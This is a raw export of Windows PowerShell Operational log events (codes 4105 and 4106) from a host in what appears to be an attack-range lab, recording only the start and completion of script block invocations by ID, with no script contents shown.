TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043672
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043671
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043661
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043656
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043655
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043654
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043653
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043652
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043650
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043648
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043647
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043642
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043641
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043633
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043631
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043630
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
